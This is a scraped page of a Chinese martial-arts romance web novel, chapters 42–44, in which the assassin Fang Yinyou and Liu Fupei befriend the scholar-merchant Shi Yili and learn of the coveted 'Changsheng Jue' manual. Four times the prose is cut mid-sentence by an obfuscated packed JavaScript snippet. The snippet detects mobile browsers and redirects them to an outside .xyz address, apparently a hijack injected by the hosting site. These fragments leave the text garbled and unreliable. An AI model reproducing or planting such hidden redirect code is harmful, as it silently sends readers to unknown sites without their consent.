l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810180|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个店小二,所以客官今日来时,楼里才只有一个小二跑堂。” 掌柜越说越气,手握成拳头在柜台上重重一捶,“伤了人就跑,还是店家赶来将伤了的那几个店小二和客人送去的医馆。” 说着,掌柜的往后退一步,指着自己绑着束伤巾的右腿,愤愤道:“我这腿这就是昨日不知道被谁给砍伤的。” 方隐攸思忖片刻,问道:“你们没报官吗?” 掌柜的长叹一口气:“并阳县是个小地方,百姓不出三千人,县令手里的衙役不过一百多人,他们两群人加起来虽只有不到六十人,但是个个武艺高强,不说一挑十,一挑二是绰绰有余的,真报了官府,也拿他们没办法。” 掌柜用手挡住嘴,悄声道:“而且若是报了官,他们再来报复怎么办?所以啊,这个哑巴亏只能是我们店家吃了。”说着,掌柜张开一双手在方隐攸面前摇了摇,“我们店家昨日在医馆付的药钱就是这个数——五百两白银!” 方隐攸眉心一跳,五百两可不是一个小数目,这店家只怕也是个有钱的主。 正说着,掌柜往门口一望,然后朝着方隐攸使了个眼色,“喏,我们老板来了。” 方隐攸回首望去,便看到一个身穿白衣的书生踏进酒楼。 他先是看了一眼掌柜的,然后才看向方隐攸,问道,“这位客官可是有什么不满意的地方?” 他的声音十分温润,听起来如沐春风,让方隐攸一下就想起了弟弟方宇周,他的声音也是这般,尾音偏长,带着一丝柔。 方隐攸拿下柜台上的可生剑,往后撤了一步,笑道,“没有,很满意。” 男人点点头,“那就好。”说完,他带着几分不解的笑了笑,“那客官为何来为难我的掌柜。” “有吗?”方隐攸看向掌柜,“在下方才有为难你吗?不过是问了你几句话,我有逼着你答吗?” 掌柜扯了扯嘴角,视线瞟向他手里的长剑,想说自己昨日刚被砍了一刀,你一来就将这长剑摆在我面前,还不是逼吗? 男人往前一步,挡在两人中间,“客官要知道什么问我便是,我知晓的比他多。” 方隐攸审视的看着他,“是吗?” “自然。” “那...我们坐着说?” 男人顺势抬手指向一旁的空桌,“那便坐着说。”说完,他朝着一旁的店小二吩咐道:“去泡一壶好茶来。” 方隐攸走到空桌上随意的坐下,然后将可生剑大大咧咧的放在桌子上。 男人坐到他对边,坐姿十分文雅,手规规矩矩的叠放在腿上,背挺得直直的,方隐攸一看就觉得浑身酸得很。 男人微微一笑,“客官想问什么?” “店家如何称呼?” “在下施亦礼,客官如何称呼?” “方隐攸。” 施亦礼闻言轻笑一声,“还以为方兄会随便编造个名字来糊弄我。” 方隐攸挑挑眉,“你认得我?” “我是认得方兄手里的可生剑。”施亦礼看向可生剑的刀柄,“血濯白莲,戮者成佛。江湖中除了第一刺客方隐攸,还有谁敢如此猖狂。” 42. 施亦礼 方隐攸抬手轻抚白莲,哈哈大笑两声,语气十分嚣张的说到:“我杀人可不是为了成佛,不过就是赚点银两讨生活。” 说完,他脸上的笑意瞬间收敛,眼神审视的盯着施亦礼问道:“可是,施兄不过一介书生,怎么会知晓江湖事?” 施亦礼无奈的轻笑一声,手指着酒楼转了一圈,说道:“说来也巧,我这酒楼中常有江湖人来,闹事的也不少,我便要来收拾残局,这一来二去的,也就知晓了。” “听你家掌柜的说,你昨日只药费便花费了五百两白银?” “他夸大其词了,哪里能有这么多?”施亦礼笑道,“不到三百两而已。” “那你可知道他们昨日是因为什么才大打出手的?” 施亦礼仔细的回忆了一下,摇摇头道:“我来时闹事的人都已经走了,不过我听到楼里的小二说,依稀之间听到他们有提到什么长生...诀。” “长生诀?”方隐攸一惊,神色凝重的问道:“当真是长生诀?” 方隐攸的态度过于激动,施亦礼反倒有些犹豫了起来,他迟疑的解释,“我也只是道听途说,并没有亲耳听到,这长生诀怎么了吗?” 方隐攸握紧手中的可生剑,思忖片刻后摇摇头,“没事。” 恰好这时店小二端了一壶热茶过来,施亦礼给他沏了一杯递到面前。 “这是新进的碧螺春,不知道方兄喜欢与否。” 方隐攸看着杯中香味浓郁的嫩绿色茶水,里面的茶叶细长纤秀,是上等的碧螺春。只是他一个江湖人,是不该懂得这些的。 所以他随意的抿了一口,语气散漫的说到:“不错,比我刚刚喝的那坛女儿红稍微逊色点。” 施亦礼闻言略有些诧异,没想到还有人将茶与酒作比较,他迟疑的问道:“方兄爱酒?” “哪个江湖人不爱酒?” “如此甚好,我府中刚好有几坛新进的竹叶青,方兄若是不嫌弃,不如去我府上一同品酒?” 施亦礼说话时脸上带着浅浅的笑,眼神诚恳,语气舒缓,邀请的十分得体,不会让人感觉到唐突。 方隐攸本就爱酒,闻言有了几分心动,抬眼朝着柳扶斐那边望去,就看到他正一脸莫测的盯着自己,嘴角还挂着一丝似有若无的笑意。 方隐攸不明白他这是什么意思,也没有深思,只转头看着施亦礼说到:“这个我得问过我家公子,他去我就去。” “公子?” 施亦礼好奇的回首望去,恰好和柳扶斐的视线相撞,两人皆是一愣,然后又同时微微一笑,朝着对方颔首示意。 柳扶斐起身朝着他们走来,然后直接坐到方隐攸身边,问道:“怎么了?” “他是酒楼的老板施亦礼,邀我去他府里喝酒,你想不想去?” 柳扶斐看向施亦礼,“施老板好热情,初次见面就请人去府里喝酒。” “方兄爱酒,在下也爱酒,即为同好,热情些,也是理所当然。” “天下爱酒之人数不胜数,施老板若只因皆为同好就如此相待,这府上的酒只怕是堆成山都不够喝吧?” “千金散尽还复来,莫使金樽空对月。若是能与懂酒之人同饮,就算是散尽家财,又有何妨?” “施老板慷慨,只是我这镖师只是爱酒却并不懂酒,怕是要辜负了施老板的一番美意。” 柳扶斐说完,皮笑肉不行的看向方隐攸,“对吧?” 他们说话过于文绉绉,方隐攸早就神游天外了许久,闻言一愣,莫名其妙的盯着他问,“什么?” 柳扶斐脸上表情一僵,在桌子底下用力的踩了他一脚。 施亦礼笑道,“说什么糟不糟蹋,我与方兄有缘,就算是他用我府中美酒做汤沐浴,也未尝不可。” 方隐攸听懂了施亦礼这话的意思,摆了摆手,“你在说什么胡话,美酒怎么可以用来沐浴,当好好品尝!” “方兄说的及是。”施亦礼说完朝着柳扶斐笑了笑,“柳公子若是不喜美酒,我府上还有许多好茶。” “今日我若是不让他去,反倒有些不识抬举了。” “哪里哪里,只是这并阳县中来往旅人无数,皆是一些蛮横之辈,鲜少有如方兄这般与在下一见如故之人,便不忍错过。” 施亦礼这话说得情真意切,看着方隐攸的眼神也十分恳切。 柳扶斐瞬间无语,不清楚方隐攸方才和他究竟说了些什么,能让人待他如此之好。 他冷冷的横一眼方隐攸,“一见如故?” 方隐攸忽然想起弟弟方宇周,他也是和施亦礼这般,说话时总是喜欢说一些文雅的词汇,而且语气也是十分相似,风轻云淡中带着一丝笑意。 “嗯。”方隐攸点点头,“一见如故。” 柳扶斐嗤笑一声,“既如此,我再阻拦就是我的不是了,那便多谢施老板美意了。” “柳公子客气了。” 施亦礼起身,朝着两人抬手示意,“两位请随我来。” 施亦礼的宅邸距离酒楼并不算远,只隔着两条街道,宅邸门口还摆着两个石狮子,看上去威武又气派。 施亦礼此人十分文雅,在后院里种了一片竹林,林中有一座凉亭,凉亭很大,里面摆着几个矮桌,上面已经备好了美酒佳肴。 不仅如此,凉亭边还围着几个身姿妙曼、举止优雅的女人,她们端坐在石凳上,每人手里抱着一个琵琶,风起时竹叶簌簌声响起,伴着琵琶声,余音袅袅。 几人走进凉亭,施亦礼朝两人抬手示意,“两位请坐。” 方隐攸扫一眼矮桌上小巧精致的酒盏,眼里闪过几分嫌弃,他喝酒从来都是捧碗牛饮,哪里用过这种小东西,添酒都嫌累得慌。 柳扶斐一看他的脸色就猜出了他的想法,凑到他身边,从嗓子眼里吐出几声含糊不清的嘲笑,“方兄,待会可得好生品酒。” 柳扶斐将品字咬的极重,什么意思不言而喻。 方隐攸呵呵一笑,坐到矮桌边朝着施亦礼笑了笑,举起酒杯朝他示意:“不醉不归!”说罢,他直接将杯中的酒一饮而尽。 不得不说,这上好的美酒当真不一般,入口绵甜,回味微苦,伴着一股清香,喝起来就是一种享受! 施亦礼也笑着朝他举杯,“不醉不归。” 柳扶斐在方隐攸对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810181|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐下,打量着杯中的酒,浅尝一口后并不觉得有什么稀奇,再看方隐攸竟然满脸陶醉的模样,内心十分的不解。 等到了京城,他必然要带着方隐攸去城中的醉仙楼中尝尝里面的醉仙酿,让他知晓什么才是美酒! 想到此处,柳扶斐又抬眼看向方隐攸,却发现他竟然直接端起了矮桌边的酒坛开始灌起酒来,眼神也变得飘忽不定,嘴角含笑,一副微醺的模样。 恰好一阵风吹来,卷起他半披在背后的发,丝丝缕缕的挡在他的眼前,将他的眼神显得更加迷离,衣襟也不知怎么的松散的不成样子,露出里面的大片肌肤,真是散德行。 柳扶斐瞪了他几眼,方隐攸却毫无知觉,越喝越畅快,手一扬,坛中的酒散出一大半,酒香瞬间萦绕在空气中。 方隐攸朝着施亦礼大笑一声,“美酒!当真是美酒!好!”,说完,他又仰头干尽坛中酒,凸起的喉结上下滑动,侧颈上还有许多咽不下的酒水顺势流下,尽数滑入衣襟深处。 施亦礼朝着他浅浅的笑了笑,举杯示意,“酒逢知己,人生幸事。” 柳扶斐冷眼瞧着他们两人,郁闷的将杯中的酒喝尽,等到他看方隐攸已经喝尽兴了,才出声向施亦礼道别。 施亦礼闻言放下手中酒杯,他虽也喝了许多酒,但是却毫无醉意,他看一眼已经喝的醉醺醺的方隐攸,“方兄已经醉了,柳公子带着他去寻客栈也多有不便,今夜不如就歇在我府中?” 柳扶斐走到方隐攸身边,凑近他一闻,才发觉他身上酒味冲天,整个人像是刚从酒坛子里出来似的。 柳扶斐掐指一算,距离他上次敞开了喝酒确实也过了许久,也不怪他这次如此失态。 柳扶斐站起身来,原本无害的表情瞬间变得阴郁,他往前一步,将方隐攸尽数遮挡在自己背后,眼神审视的盯着施亦礼,“你故意将他弄来你府上,究竟是什么目的?” 施亦礼闻言起身,歉然的朝着柳扶斐抬手一拜,“柳公子误会了,在下当真是与方兄投缘才邀他一同饮酒。” “是吗?”柳扶斐上前一步,语气变得森然,“一个书生和一个刺客投缘?倒是有趣。” 施亦礼笑道:“世间趣事数不胜数,多此一番倒也不足为奇。” 柳扶斐嗤笑一声,“他是个江湖人,生性直率,看不透你的那些弯弯绕绕。”说着,他眼神洞察的打量施亦礼一眼,“我与他不同,知道你们这些读书人最是自命清高,怎么可能和他一个江湖歹徒一见如故?” 柳扶斐上前一步,凑近他,语气阴桀,“你最好是披好你的这层假皮,否则我定让你生不如死。” 施亦礼闻言神色不变,眼神十分坦荡,没有一丝心虚或是忐忑。 “柳公子不信施某,也是情理之中,只是我虽为读书人,却也是个商人,士农工商,论身份尊卑,我又比方兄好到哪里去?” 柳扶斐看向满脸潮红、睡得正酣的方隐攸,摆了摆衣袖,“最好如此,那今夜就叨扰施老板了。” 施亦礼温润一笑,“柳公子说的哪里话,既是我主动相邀,便不存在叨扰一说。” 柳扶斐扯了扯嘴角,当做回应。 43. 长生诀 方隐攸并没有睡多久,不到两个时辰就醒了过来,他有些迷蒙的望着坐在床前的柳扶斐,问道,“你坐在这里做什么?” 话一说完,他才发觉自己嗓子哑的厉害,就像是乌鸦嘶哑的叫声一般。 柳扶斐冷着脸递给他一杯温水,等到他喝完了才阴阳怪气的回到:“坐在这里看看方兄此次能醉多久。” 方隐攸吐出一口浊气,撑着靠坐到床头,抬手按了按发昏的前额,“我醉了多久?” “两个时辰。” “不算久。” “是,当然不算久。”柳扶斐将手里的空杯子噔的一声放到桌子上,眼尾余光扫向他,“这不久的功夫,你那个施兄可是来问过好几遍方兄醒没醒了。” 方隐攸闻言一愣,直接翻身下床,问道:“我们还在他府上?” “他盛情挽留我们在此留宿,我怎么好拒绝?” “这样挺好。” “什么?”柳扶斐不可置信的瞪着他,“好在哪里?” 方隐攸反手握住柳扶斐的手腕,将人按在桌边的凳子上坐好,“你可知道一本名叫长生诀的武功秘籍?” 柳扶斐闻言仔细思索的片刻后摇了摇头,“不知道。” “这江湖中的事,你是不是就只知道我手里有秘籍这一件?” 柳扶斐翻一个白眼,“我一个京城的贵公子,为何要知晓这么多的江湖事?” 方隐攸用脚勾来一把椅子坐到他对面,缓缓道:“十多年前江湖中曾有一个叫做玄机门的门派,他们的门内外弟子数以万计,江湖中人皆以能入玄机门为荣。他们的掌门名叫闻人焕厉,修的就是长生诀,当时天下无人是他对手。” “拿到长生诀,就代表着可以成为下一个闻人焕厉。” “而且——”方隐攸语气变得凝重起来,“这长生诀不仅内外皆修,还能延年益寿,让人长生不老。” “长生不老?”方隐攸一惊,“世上还有这种功夫?” “反正传闻是这么说的。” “那怎么如今江湖没有闻人焕厉的消息了?” “因为他死了十年了。” “怎么死的?不是说天下无人是他对手?” 方隐攸脸色变得莫测,他沉默了片刻后才继续道:“单羽林杀了他,不仅杀了他,还一把火烧了玄机门,大火烧了三天还不止,眼看着玄机门所在的碧苍山都要被烧成灰烬,最后还是官府的人来收拾的残局。” “单羽林?云礼?” 柳扶斐震惊的不知道作何反应,只能一把抓住方隐攸放在腿上的手,“他为什么要这么做?” “我哪里能知道,当时的我不过十一岁,这些都是几年前我听到别人提起才知道的。” 方隐攸的神情突然变得严肃,“施亦礼说他楼中的小二听到韩桓临他们提到了长生诀。” “你的意思是...韩桓临他们来并阳县很可能是来找长生诀的?” “对。”方隐攸往前靠了靠,盯着柳扶斐的眼睛,缓缓道:“我必须弄清楚这长生诀是怎么一回事。” “你想得到长生诀?”柳扶斐说完一顿,又忽然改口,“不对,你不是想得到长生诀...我在你眼里看不到任何兴奋与想要将其占为己有的情绪。” 方隐攸长呼一口气,“长生诀若是真的还存于世,无论是被谁拿到都将引起江湖动荡,我必须毁了它。” “韩桓临、郭奇谅都来了,必然还有江湖中许多人都来了,这并阳县的官府也无作为,如今这里,可以说是无法无天,所以...”方隐攸说着,反手握住柳扶斐的手腕,“我就护送你到这里,你明日便走。” 柳扶斐眉头瞬间皱了起来,“黄金千两你不要了?” 方隐攸垂下头,看着地面思索片刻,然后望着他说,“要,等我处理完这里的事情,我就去京城找你,你得把账目给我算清楚,把银子都给我。” 方隐攸说的十分认真,眼神中看不见半点不安与犹豫,显然是已经下定了决心,也笃定自己可以平安顺利的完成他想做的。 “我留下来帮你。” “不行。”方隐攸毫不犹豫的拒绝,“你没必要掺和到江湖争端中来,你若是出了什么事情,我怎么向你爹交代?” “方隐攸,你就算是武功盖世,难道对付得了整个江湖中的人?” “对不对付得了也不是你该操心的事,你尽早回你的京城,做你的公子哥去。” 柳扶斐沉默的盯着他看了许久,看得方隐攸都感觉到有些不对劲了,于是问道,“怎么了?” 柳扶斐忽然嘴角一撇,整个人往前一扑,倒在方隐攸的怀里,哭丧着脸说道:“方隐攸,你在章台还说了不会刻意疏远我,为什么现在就要赶我走?” 方隐攸莫名奇怪的看着他的头顶,“我是怕你死。” 虽然方隐攸的意思显然是害怕柳扶斐死在这里,他那个做大将军的爹会来找他麻烦,但是落在柳扶斐的耳朵里确是——他不想我死,他担心我,他心里还是有我的。 所以,柳扶斐放开方隐攸,昂首挺胸走到屋中宽敞的地方,抽出腰间软鞭十分迅速的朝着烛台上燃了一半的蜡烛挥去,便看到烛火未动,而烛芯上被烧黑的地方已经消失了。 柳扶斐收好鞭子,朝着方隐攸得意的挑挑眉,“本公子这功夫,自保足以。” 方隐攸手撑着下巴,十分无语的看着他。 柳扶斐看他半天没有反应,又挥了几鞭,这次是将桌子上的茶杯卷到空中转了个来回,里面的茶水一滴不漏。 可是方隐攸依旧只是看着他,没有任何反应。 柳扶斐愤愤的收好鞭子,一甩衣袖,不管不顾的朝着他说道:“反正本公子必须留在并阳,大不了陪你一块死。” 方隐攸忽然起身,然后又嗖的一下闪到柳扶斐身边,一下掐住他的脖颈,“你连我一招都躲不过,你怎么自保?” 柳扶斐原本被惊得肩膀都耸了起来,闻言一巴掌拍开他的手,“那是因为我没有提防你会出手。” “谁在杀你前还会告知你?” “那也不会像你这般毫无征兆!” 方隐攸往后退一步,“柳扶斐。” 柳扶斐瞪一眼他,“做什么?” “我要出手了。” 说完,方隐攸一手按住他的肩膀,一手握住他的腰,用力将人摔在地上。 柳扶斐疼的龇牙咧嘴,不满的喊到:“你下手这么重做什么?” “这么点疼都受不住,我劝你明日尽早离开。” 柳扶斐瞬间收起脸上的情绪,板着脸朝他喊道:“不疼。” 方隐攸上前一步,拔出可生剑低着他的脖颈,“当真不疼?” 柳扶斐梗着脖子,望着他摇摇头,“不疼。” 方隐攸手里的长剑往前递了一寸,瞬间刺破他的肌肤,在他的肌肤上留下一道血痕,但是柳扶斐却脸色不变的朝他得意的挑了挑眉,“一点都不疼。” 方隐攸冷着脸盯着他,眼神疑惑不解,过了许久后才问道,“柳扶斐,你是因为爱我,所以才不愿意走的,对吗?” 柳扶斐脸色瞬间变得忸怩起来,他侧过脸,将脖子上的伤痕更加明显的露在方隐攸的视线里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810182|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方隐攸蹲下来,用手捏住他的下巴,直视着他的双眼,十分真诚又好奇的问道,“男人对男人的爱情也是这样的吗?” 柳扶斐也直勾勾的盯着他,眼神在烛光里暗的发稠,“怎样的?” “生死相依?” 柳扶斐露出一个感慨的笑,带着几分无奈的摇了摇头,“我不知道男人对男人之间的爱情应该是怎么样的,我只知道我不会明知道前路危险,还留下你孤身一人面对。” 柳扶斐的眼神变得怅然,语气也变得沮丧,“但是,你从来都瞧不上我这份感情。” “不是。” 柳扶斐眼中闪过一丝欣喜,语气试探的问道:“什么不是?” “我瞧不起的不是感情,是你。” 柳扶斐噌的一下站了起来,手用力的拽住方隐攸的衣襟将人推到椅子上坐下,然后俯身凑近他,“方隐攸,你凭什么瞧不上我!我爹是大境的大将军!我外祖富可敌国!你懂不懂这代表着什么?” 柳扶斐显然是气急了,脖子上的经脉鼓起,脸红了一大片,一段话说的委屈又愤怒。 方隐攸握住他的手腕将人推开,“你善变。” 短短三个字,让柳扶斐瞬间变得萎靡,肩膀塌成拱桥,看着方隐攸的眼神也没了方才的气焰。 他嘟囔着说道:“我也才比你年长一岁,从来没有爱过人,你又刻意引诱我,我怎么能守得住本心?” 方隐攸一听柳扶斐说这话,瞬间变得浑身不自在起来,就好像他犯了什么弥天大错后还将黑锅丢给了别人。 他抬手按了按眉心,无奈道:“你既然不愿意走,那就不走,但是你需要写信告诉你爹,你若出事,与我无关。” 柳扶斐仰起头看着屋顶上黑漆漆的屋顶,自嘲的勾了勾嘴角,心里升起几分埋怨。 方隐攸果真是个铁石心肠的莽夫,半点不懂得情情爱爱,自己都这么表述心迹了,他不感动也就算了,竟然还想着怎么撇开责任,真叫人为难。 方隐攸久久得不到回应,侧过身子睥他一眼,“怎么了?” 柳扶斐看向他,和他四目相对,随后又将他整个人纳入眼中仔细打量。 罢了罢了,来日方长,先不与他计较。 柳扶斐朝他笑了笑,“好,不就是写一封信吗?本公子写就是了。” 施亦礼是个书生,客房里也备着文房四宝,柳扶斐执笔洋洋洒洒的写下几百字,然后递给方隐攸,“你看看,这样可以吗?” 方隐攸最烦看白纸黑字,只随意的扫了一眼,看到自己名字后面有无关二字便满意的点了点头。 柳扶斐写好信,然后又招来死侍吩咐人将信寄出去。 主仆两人见面的时候也没避着方隐攸,就这么毫无顾忌的在他面前交代完了事,那死侍离开前竟然还朝着方隐攸拜了拜,弄得他十分莫名其妙。 柳扶斐关好窗户,走到方隐攸面前,问道,“你方才说留在施亦礼府上正好,好在哪里?” “我是故意接近他的,想借他的酒楼,探听消息。”方隐攸撑着下巴,闭着眼睛缓缓道。 “你相信他?” 方隐攸点点头,“他的声音告诉我,他不是一个坏人。” 柳扶斐闻言一愣,然后用力的踹了一脚他坐下椅子的腿,椅腿瞬间断开,方隐攸立刻睁开眼站了起来,十分不解的望着他,“你做什么?” 柳扶斐呵呵一笑,手指着倒在地上只剩下三条腿的椅子,“赔椅子的钱你付。” “凭什么?” “凭我的声音告诉你,我不是个好人,不会替你出银子。” 44. 打探消息 方隐攸闻言无语的瞥他一眼,蹲下来拿起那根断腿在手里仔细打量。 柳扶斐看着他的动作,“怎么,方兄还是个木匠呢?” 方隐攸沉默的去院子里捡来一根树枝,用可生剑削得十分锐利后抵在断腿和椅子中间,然后用力往下一压,树枝便将断腿和椅子串在了一起。 方隐攸得意的朝着柳扶斐挑挑眉,“如何?” “不如何,穷酸样。” 柳扶斐说完转身就走,方隐攸将修好的椅子放在角落里,免得再被人弄坏,然后才追了出去。 柳扶斐并未走远,连院门都还没出,听到动静后转身看着他,“还磨蹭什么呢?你还没醒来时你的施兄...” 眼下天色已经黑了,只有廊下的几盏灯笼照明,柳扶斐半个身子隐在夜色里,说话时恰好不知道是哪里飞来的一只蝶落在了他铺着光的肩膀上,引得他话说了一半就噤了声。 方隐攸忽然闪到他身边,伸手捏住蝴蝶的翅膀,然后将蝴蝶放在自己手心,还转了个身子让光照在蝴蝶翅膀上。 蝴蝶也不怕人,真就乖乖的在他手心里缓慢的煽动翅膀,上面的鳞片在光里流光溢彩。 “施兄怎么了?” 柳扶斐看着他手心的蝴蝶,淡淡道:“他说请了并阳县最好的歌姬舞伎,让你务必要赏光去欣赏欣赏。” 方隐攸不解的看着他,“他请那些做什么?” “大概是觉得天下男子都爱这些。” 方隐攸将手里的蝴蝶往天上一抛,看着它扇动翅膀缓缓的落在一旁的长春花上,“走吧,去看看。” 两人刚出院子,就看到一个仆人正提着一个灯笼朝这边小跑过来,他看到两人后明显松了一口气,赶紧跑跟前为他们引路。 “我家公子已经在前院里等着了,两位一到便可开席。” “开席?” 仆人一听,连忙解释,“也不知道县里的那些商贾从哪里听到的消息,知道我家公子今日在府中待客,都带着家眷来蹭吃蹭喝,公子也不能将人撵出去,便直接设了宴席,就等着两位公子了。” “他们常如此吗?” 仆人长叹一口气,有些踌躇的开了口,“我家公子独自一人撑着一个诺大的家业,平日里常与他们打交道,公子性善,在生意上总是让他们一头,原以为他们得了我家公子的好处,便不会再为难我家公子。”说着,几人转过一个回廊,便看到庭院中的施亦礼正在躬身朝着一群人作揖,脸上还挂着讨好的笑。 仆人语气愤恨难当,“可谁知道那群人就是喂不饱的豺狼,时时刻刻想着磋磨我家公子,恨不得将整个施家都拆吃入腹,将所有施家的生意都瓜分了。” 方隐攸冷眼瞧着那群人,“你家公子就没想着抵抗?就这么由着他们欺负?” “我家公子只是个书生,这家业原本也落不到他头上,只是大公子几年前遇了难,夫人老爷不久都郁郁而终,他才不得已接下了整个家业。” 仆人说完后弯腰一拜,“两位公子请吧。”说完,他便恭恭敬敬的退下了。 方隐攸和柳扶斐还未踏进庭院,就听到里面传来几声大笑,那笑声轻蔑又肆意,像是在取笑过街的老鼠一般。 方隐攸环抱着长剑,散漫的走进院里,朝着那群笑呵呵的人说道,“什么事这么好笑?说出来让我也乐呵乐呵?” 一个尖嘴猴腮的男人闻声看了过来,视线在方隐攸身上一扫,“你就是今日施府的客人?” 方隐攸点点头,视线落在被围在人群中的施亦礼身上,“我与施公子一见如故,便应邀来府上不醉不归。” 那人仰头大笑两声,“施公子果然好人缘,看来我们皆是与施公子一见如故,亲如一家啊!”说完,他看向周围的人,“你们说是不是啊?” 众人笑着应和几声,其中一个年纪稍长的男人看向施亦礼,遗憾的摆了摆头,“只是施公子只怕不是这么想。” 一个年轻男人捧场的问了一句,“苏铎兄何出此言?” 苏铎抬手摸一把嘴上的山羊胡,啧啧两声,“苏某听闻施公子前日里在冀州的马市上谈妥了一笔大买卖,卖的就是你前几个月低价收来的邻县茶农手里的新茶,低买高卖,施公子只怕赚了不少银子吧?” 说着,他朝着施亦礼冷哼一声,“施公子既然知道这茶叶市价要涨,为何没想着带我们分一杯羹呢?” 施亦礼朝着他们歉然一笑,“各位教训的是,怪晚辈没有告知各位叔伯。”他手指向一旁摆满了美酒佳肴的长桌,“今夜就当晚辈给各位赔罪,诸位敞开了吃喝。” 说完,他拍拍手,一众仆人们抬着几个箱子走了出来,里面装的都是银锭。 “这些就当做晚辈给各位的赔礼,还请叔伯们别嫌弃。” 方隐攸看着面前那群人当真要恬不知耻的收下银锭,立刻上前一步,语气讥讽的大声说道:“我虽然不是商人,但是也知道生意场上各凭本事,你猜准了茶叶价格要涨,低价入手再高价转卖这是你有眼力,他们自己愚笨看不透商机,凭什么还来怪你不带着他们一起赚钱?” 苏铎闻言上前一步,站在方隐攸面前,注意到他怀里的长剑后又往后退了一步,神色傲慢的嗤笑一声,“你既然不是商人,那又为何要来管我们商人之间的事情?” “我管的不是商人之间的事,我管的是我好友的事。”方隐攸将施亦礼挡在身后,手执着长剑在身前挽出一个剑花,带出一道凌厉剑气,直刺向庭院中的一颗杏花树,顿时杏花如雨般落下。 方隐攸的语气变得冷漠,盯着他问道:“你还觉得我不该管吗?” 苏铎往后退一步,挤到人群中去,不可置信的瞪着方隐攸,“你...你想做什么?难道还想杀人不成?” “只是劝你们,做人别太贪婪,是你们的便是你们的,不是你们的就别惦记。”说完,方隐攸走到木箱边盖上盖子,朝着他们挑挑眉,笑道:“我今天倒要看看,谁敢拿走一锭银子。” 苏铎看方隐攸的态度坚决,于是看向施亦礼,“施亦礼,你这是什么意思?这银子是我们逼你拿出来的吗?不愿给便不给,为何要惺惺作态的来折辱我们?” 施亦礼刚想开口解释,柳扶斐上前一步,抢在他前头开口,“你们这群人当真是不要脸面,不请自来谓之不速之客,便无需以礼相待。施老板给你们一口饭吃一口酒喝那已经是天大的恩赐,你们倒好,不感恩不说还寻些理由来打秋风,当真是为商者多奸诈之徒。” 苏铎被他这一段话骂的怒目睁眉,手指着他的面门,重重的喘了几口粗气,硬是一句驳斥的话都没有说出来。 柳扶斐见状大笑两声,“怎么?被本公子说中了,连辩驳都没话说了?” 施亦礼无奈的叹了一口气,朝着两边的人各鞠了一躬,“诸位都别再争执了,还请入席吧。” 苏铎恶狠狠的瞪了一眼方隐攸和柳扶斐,“这酒席苏某就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810183|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不吃了,免得当真成了什么不速之客、奸诈之徒。” 说罢,他用力的一甩衣袖,掉头就走了。 他一走,那群乌合之众也就散了,庭院中顷刻间就只剩下他们三个人。 施亦礼长呼一口气,一直挺得笔直的肩脊忽然间舒展开来,他朝着两人赧然一笑,“让二位见笑了。” 方隐攸无所谓的摆了摆手,直接走到长桌边坐下,然后给自己倒了一杯酒,“你就是性子太软了,他们来时你就该让人用扫帚将人轰出去。” 施亦礼坐到他对面,“他们其中大部分是我族中长辈,于情于理我都不能对他们不敬。” 方隐攸喝尽杯中酒,他不理解什么是于情于理,只知道随心所欲,于是他朝着柳扶斐抬抬下巴,“你知道怎么做才能合情合理的让他们不敢再来吗?” 柳扶斐走到他身边坐下,看向施亦礼说道:“你就是圣贤书读太多,要知道太讲究情理只会被情理所缚,他们老而无德,你这个做晚辈的又何必尊敬他们。” “人善被人欺,你要是觉得被他们这么对待也无所谓,那就受着吧,反正也不是一回两回了,你大概也已经习惯了这种日子吧?” 施亦礼露出一个苦笑,“对啊...习惯了。” 说完,他端起酒杯朝两人示意,“原想着邀请两位一同月下饮酒,没想到却被他们扰了兴致,这杯酒就当是在下给二位赔罪了。” 等到施亦礼放下酒杯,柳扶斐继续道:“你若是不想继续这样的日子,我倒是也有个办法。” “在下愿闻其详。” “商人重利、心贪、敢博,你可用小利诱他们入局投重利,再让他们输的血本无归。我前几日得到消息,上位近期欲要整顿私盐市场,最迟不过三月,相关律令便会下放到各州县。” 说完,柳扶斐端起酒杯朝施亦礼示意,“当然,你若是于心不忍,便只当我没说。” 施亦礼久在商场,很快便明白了柳扶斐话中的意思,他感激的朝他回敬一杯酒,“多谢柳公子,在下明白了。” 方隐攸有些不解的望着柳扶斐,“这样就好了?” “不然呢?”柳扶斐看向他,“他们是生意人不是江湖人,自然要在生意场上解决问题。” 方隐攸不再多问,转头看向施亦礼,“施兄,其实我...” 